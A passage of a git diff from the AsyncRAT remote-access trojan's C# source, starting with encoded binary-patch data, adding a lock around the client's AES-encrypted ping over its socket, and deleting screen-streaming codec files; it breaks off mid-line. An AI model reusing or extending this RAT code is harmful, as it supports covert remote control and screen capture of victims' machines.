zG+vS)(VXjiVgAhg?|$(7p`Sc#%q3_4=jBc@*+5I#TJJM?*uZtuJst=X{oD9d~=* z`$xK$XBt=f>`0l?j$W?$m(0mIV{RAGKEOT``Ulc?58Y|MjkQyx-A$ByjeUmEg z8d@H?!e{1%r3(t5r+0=JwyVQ$hm(;e*jU%^E^QtnoPz7+3!ntsVcW}G*pTYxI(I2s zb|FxX+vKCOxQQ@lZD;al@&B^nrQV$T*^Ry3 zxYG{c?4?X;NdHAD`RTH`{}%3h-*TNlZL6g3{rnfx&wPFL)#!TG9yDk(8j;!EVOe#v zfobuvryEg=onc$;tMSZd%B6B?dMUH^6cNQ*tJ!F;ubpUN`HcnQW2^aw zd}G*%IkD7Q9lt)+h*mR8yE%)u^oT5qI+4w?>%cWuE$@Iy?LZ@1qZMj4=3d)ogLIr_ z^o@x$hHLBX)-~B~{E+Y*Zdf?d#&Vb~L(krE>1^wv9X)B>US4i}$XJi$u|^!-c(S$X zSJrI5!N_bTHycYBy4 - - diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index 602f0da..da0482d 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -184,21 +184,24 @@ namespace AsyncRAT_Sharp.Sockets { lock (SendSync) { - try + lock (EndSendSync) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "Ping"; - msgpack.ForcePathObject("Message").AsString = "This is a ping!"; - byte[] buffer = Settings.AES.Encrypt(msgpack.Encode2Bytes()); - byte[] buffersize = BitConverter.GetBytes(buffer.Length); - ClientSocket.Poll(-1, SelectMode.SelectWrite); - ClientSocket.Send(buffersize, 0, buffersize.Length, SocketFlags.None); - ClientSocket.Send(buffer, 0, buffer.Length, SocketFlags.None); - } - catch - { - Disconnected(); - return; + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping"; + msgpack.ForcePathObject("Message").AsString = "This is a ping!"; + byte[] buffer = Settings.AES.Encrypt(msgpack.Encode2Bytes()); + byte[] buffersize = BitConverter.GetBytes(buffer.Length); + ClientSocket.Poll(-1, SelectMode.SelectWrite); + ClientSocket.Send(buffersize, 0, buffersize.Length, SocketFlags.None); + ClientSocket.Send(buffer, 0, buffer.Length, SocketFlags.None); + } + catch + { + Disconnected(); + return; + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/DirectDriverCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/DirectDriverCodec.cs deleted file mode 100644 index fce74ea..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/DirectDriverCodec.cs +++ /dev/null @@ -1,160 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class DirectDriverCodec - { - private Bitmap decodedBitmap; - - private byte[] EncodeBuffer; - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private JpgCompression jpgCompression; - - public DirectDriverCodec(int Quality) - { - jpgCompression = new JpgCompression(Quality); - } - - public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - if (EncodeBuffer == null) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - this.EncodeBuffer = new byte[RawLength]; - fixed (byte* ptr = EncodeBuffer) - { - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); - } - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - for (int i = 0; i < Changes.Length; i++) - { - Rectangle rect = Changes[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - } - - public Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - return decodedBitmap; - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs deleted file mode 100644 index 072ff3e..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs +++ /dev/null @@ -1,68 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - /// - /// The M-JPG codec is not very efficient for networking as it is just a very simple codec - /// - public class MJPGCodec : IVideoCodec - { - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override ulong CachedSize - { - get { return 0; } - internal set { } - } - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.None; } - } - - public MJPGCodec(int ImageQuality = 100) - : base(ImageQuality) - { - - } - - public override void CodeImage(Bitmap bitmap, Stream outStream) - { - lock (base.jpgCompression) - { - byte[] data = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(data.Length), 0, 4); - outStream.Write(data, 0, data.Length); - } - } - - public override Bitmap DecodeData(Stream inStream) - { - lock (base.jpgCompression) - { - if (!inStream.CanRead) - throw new Exception("Must have access to Read in the Stream"); - - byte[] temp = new byte[4]; - inStream.Read(temp, 0, temp.Length); - int DataLength = BitConverter.ToInt32(temp, 0); - temp = new byte[DataLength]; - inStream.Read(temp, 0, temp.Length); - return (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickCachedStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickCachedStreamCodec.cs deleted file mode 100644 index e9dc63c..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickCachedStreamCodec.cs +++ /dev/null @@ -1,204 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class QuickCachedStreamCodec : IVideoCodec - { - private Bitmap CodeTempBitmap; - private Bitmap DecodeTempBitmap; - - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - public override ulong CachedSize - { - get; - internal set; - } - - public int MaxBuffers { get; private set; } - private SortedList EncodeCache; - private SortedList DecodeCache; - - - /// - /// Initialize a new object of QuickStreamCodec - /// - /// The image quality 0-100% - public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100) - : base(ImageQuality) - { - this.MaxBuffers = MaxBuffers; - this.EncodeCache = new SortedList(); - this.DecodeCache = new SortedList(); - } - - public override int BufferCount - { - get { return 1; } - } - public override CodecOption CodecOptions - { - get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; } - } - - public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (CodeTempBitmap != null) - { - if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - } - - if (CodeTempBitmap == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - CodeTempBitmap = bitmap; - return; - } - - BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); - BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); - int Stride = Math.Abs(bmpData.Stride); - - List Blocks = new List(); - - for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride) - { - if (onCodeDebugScan != null) - onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1)); - - Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1); - if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0) - { - byte[] temp = new byte[Stride]; - fixed(byte* ptr = temp) - { - NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length); - } - - CRC32 hasher = new CRC32(); - int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0); - - if (EncodeCache.Count >= MaxBuffers) - EncodeCache.RemoveAt(0); - - if (EncodeCache.ContainsKey(hash)) - { - outStream.WriteByte(1); - outStream.Write(new byte[4], 0, 4); - outStream.Write(BitConverter.GetBytes(hash), 0, 4); - outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2); - } - else - { - outStream.WriteByte(0); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(BitConverter.GetBytes(hash), 0, 4); - outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2); - outStream.Write(temp, 0, temp.Length); - EncodeCache.Add(hash, temp); - } - Blocks.Add(ScanBlock); - } - } - - for (int i = 0; i < Blocks.Count; i++) - { - Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat); - byte[] temp = base.jpgCompression.Compress(cloned); - - cloned.Dispose(); - } - - bitmap.UnlockBits(bmpData); - CodeTempBitmap.UnlockBits(CodeBmpData); - - if (onVideoStreamCoding != null) - onVideoStreamCoding(outStream, Blocks.ToArray()); - - if (CodeTempBitmap != null) - CodeTempBitmap.Dispose(); - this.CodeTempBitmap = bitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - if (!inStream.CanRead) - throw new Exception("Must have access to Read in the Stream"); - - if (DecodeTempBitmap == null) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return DecodeTempBitmap; - } - - //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat); - //int Stride = Math.Abs(BmpData.Stride); - - while (inStream.Position < inStream.Length) - { - byte[] temp = new byte[11]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - bool inCache = temp[0] == 1; - int DataSize = BitConverter.ToInt32(temp, 1); - int Hash = BitConverter.ToInt32(temp, 5); - ushort Y = BitConverter.ToUInt16(temp, 9); - - temp = new byte[DataSize]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - if (inCache) - { - if (DecodeCache.ContainsKey(Hash)) - { - temp = DecodeCache[Hash]; - } - else - { - - } - } - - //copy new data to cached bitmap - Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - - using (Graphics g = Graphics.FromImage(DecodeTempBitmap)) - { - g.DrawImage(tmpBmp, new Point(0, Y)); - } - - /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat); - int Offset = Y * Stride; - NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/ - //tmpBmp.UnlockBits(tmpData); - tmpBmp.Dispose(); - } - //DecodeTempBitmap.UnlockBits(BmpData); - - return DecodeTempBitmap; - } - } -} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickStreamCodec.cs deleted file mode 100644 index ee8227c..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickStreamCodec.cs +++ /dev/null @@ -1,179 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class QuickStreamCodec : IVideoCodec - { - private Bitmap CodeTempBitmap; - private Bitmap DecodeTempBitmap; - - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - public override ulong CachedSize - { - get; - internal set; - } - - /// - /// Initialize a new object of QuickStreamCodec - /// - /// The image quality 0-100% - public QuickStreamCodec(int ImageQuality = 100) - : base(ImageQuality) - { - - } - - public override int BufferCount - { - get { return 1; } - } - public override CodecOption CodecOptions - { - get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; } - } - - public override void CodeImage(Bitmap bitmap, Stream outStream) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (CodeTempBitmap != null) - { - if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - } - - if (CodeTempBitmap == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - CodeTempBitmap = bitmap; - return; - } - - BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); - BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); - int Stride = Math.Abs(bmpData.Stride); - - List Blocks = new List(); - - for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride) - { - if(onCodeDebugScan != null) - onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1)); - - Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1); - if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0) - { - int index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y) - { - ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height); - Blocks[index] = ScanBlock; - } - else - { - Blocks.Add(ScanBlock); - } - } - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - for (int i = 0; i < Blocks.Count; i++) - { - Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat); - byte[] temp = base.jpgCompression.Compress(cloned); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2); - outStream.Write(temp, 0, temp.Length); - cloned.Dispose(); - TotalDataLength += 6 + temp.Length; - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - - bitmap.UnlockBits(bmpData); - CodeTempBitmap.UnlockBits(CodeBmpData); - - if (onVideoStreamCoding != null) - onVideoStreamCoding(outStream, Blocks.ToArray()); - - if (CodeTempBitmap != null) - CodeTempBitmap.Dispose(); - this.CodeTempBitmap = bitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - if (!inStream.CanRead) - throw new Exception("Must have access to Read in the Stream"); - - if (DecodeTempBitmap == null) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 4); - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return DecodeTempBitmap; - } - - - byte[] LenTemp = new byte[4]; - inStream.Read(LenTemp, 0, 4); - int DataLength = BitConverter.ToInt32(LenTemp, 0); - - //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat); - //int Stride = Math.Abs(BmpData.Stride); - - while (DataLength > 0) - { - byte[] temp = new byte[6]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - int DataSize = BitConverter.ToInt32(temp, 0); - ushort Y = BitConverter.ToUInt16(temp, 4); - temp = new byte[DataSize]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - //copy new data to cached bitmap - Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - - using (Graphics g = Graphics.FromImage(DecodeTempBitmap)) - { - g.DrawImage(tmpBmp, new Point(0, Y)); - } - - /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat); - int Offset = Y * Stride; - NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/ - //tmpBmp.UnlockBits(tmpData); - tmpBmp.Dispose(); - DataLength -= 6 + temp.Length; - } - //DecodeTempBitmap.UnlockBits(BmpData); - - return DecodeTempBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallCachedStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallCachedStreamCodec.cs deleted file mode 100644 index 85155be..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallCachedStreamCodec.cs +++ /dev/null @@ -1,374 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class SmallCachedStreamCodec : IVideoCodec - { - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - SortedList codeCached; - SortedList decodeCached; - public override int BufferCount - { - get { return codeCached.Count; } - } - public override ulong CachedSize - { - get; - internal set; - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; } - } - - private Size CheckBlock { get; set; } - public SimpleBitmap LastFrame { get; set; } - private object ImageProcessLock = new object(); - private Bitmap decodedBitmap; - private CRC32 hasher; - public int MaxBuffers { get; private set; } - - /// - /// Initialize a new object of SmallCachedStreamCodec - /// - /// The maximum amount of buffers, higher value will decrease stream size but could decrease performance - /// The image quality 0-100% - public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100) - : base(ImageQuality) - { - CheckBlock = new Size(20, 1); - codeCached = new SortedList(); - decodeCached = new SortedList(); - hasher = new CRC32(); - this.MaxBuffers = MaxBuffers; - } - - private void SetLastFrame(ref Bitmap bmp) - { - SetLastFrame(new SimpleBitmap(bmp)); - } - private void SetLastFrame(SimpleBitmap bmp) - { - lock (ImageProcessLock) - { - if (LastFrame != null && LastFrame.Locked) - LastFrame.Dispose(true); - LastFrame = bmp; - } - } - - public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) - { - lock (ImageProcessLock) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (LastFrame == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - SetLastFrame(ref bitmap); - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List updates = new List(); - SimpleBitmap sbBmp = new SimpleBitmap(bitmap); - MemoryStream ms = new MemoryStream(); - byte[] buffer = null; - - if (!LastFrame.Locked) - LastFrame.Lock(); - - sbBmp.Lock(); - - if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - - if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height) - { - sbBmp.Unlock(); - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - } - - List Blocks = new List(); - int index = 0; - - int y = 0; - int x = 0; - - Size s = new Size(bitmap.Width, CheckBlock.Height); - Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height); - - int lasty = bitmap.Height - lastSize.Height; - int lastx = bitmap.Width - lastSize.Width; - - Rectangle cBlock = new Rectangle(); - - s = new Size(bitmap.Width, s.Height); - while (y != bitmap.Height) - { - if (y == lasty) - s = new Size(bitmap.Width, lastSize.Height); - - cBlock = new Rectangle(0, y, bitmap.Width, s.Height); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - //if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - { - index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - y += s.Height; - } - - List finalUpdates = new List(); - const int CheckHeight = 50; - for (int i = 0; i < Blocks.Count; i++) - { - s = new Size(CheckBlock.Width, Blocks[i].Height); - y = Blocks[i].Y; - lasty = (Blocks[i].Y + Blocks[i].Height); - - while (y != lasty) - { - int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight; - x = 0; - while (x != bitmap.Width) - { - if (x == lastx) - s = new Size(lastSize.Width, Blocks[i].Height); - cBlock = new Rectangle(x, y, s.Width, ScanHeight); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info)) - { - /*byte[] tempData = new byte[0]; - LastFrame.CopyBlock(cBlock, ref tempData); - finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/ - - //hash it and see if exists in cache - hasher = new CRC32(); //re-initialize for seed - byte[] tempData = new byte[0]; - LastFrame.CopyBlock(cBlock, ref tempData); - int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0); - - if (codeCached.Count >= MaxBuffers) - codeCached.RemoveAt(0); - - if (codeCached.ContainsKey(hash)) - { - CachedSize += (ulong)tempData.Length; - finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock)); - } - else - { - //nothing found in cache let's use the normal way - codeCached.Add(hash, tempData); - finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock)); - } - } - x += s.Width; - } - y += ScanHeight; - } - } - - for (int i = 0; i < finalUpdates.Count; i++) - { - buffer = new byte[0]; - Rectangle rect = finalUpdates[i].Rect; - - if (!finalUpdates[i].isCached) - { - fixed (byte* ptr = finalUpdates[i].Data) - { - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr))) - { - buffer = base.jpgCompression.Compress(TmpBmp); - } - } - } - - outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4); - outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); - outStream.Write(buffer, 0, buffer.Length); - TotalDataLength += buffer.Length + (4 * 6) + 1; - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - - Blocks.Clear(); - SetLastFrame(sbBmp); - ms.Close(); - ms.Dispose(); - } - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - List cacheInfo = new List(); - byte[] HeaderData = new byte[(4 * 6) + 1]; - - while (DataSize > 0) - { - inStream.Read(HeaderData, 0, HeaderData.Length); - - bool isCached = HeaderData[0] == 1; - rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5), - BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13)); - int Hash = BitConverter.ToInt32(HeaderData, 17); - int UpdateLen = BitConverter.ToInt32(HeaderData, 21); - - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - //process update data - if (isCached) - { - //data is cached - if (decodeCached.ContainsKey(Hash)) - buffer = decodeCached[Hash]; - else - { - - } - cacheInfo.Add(new 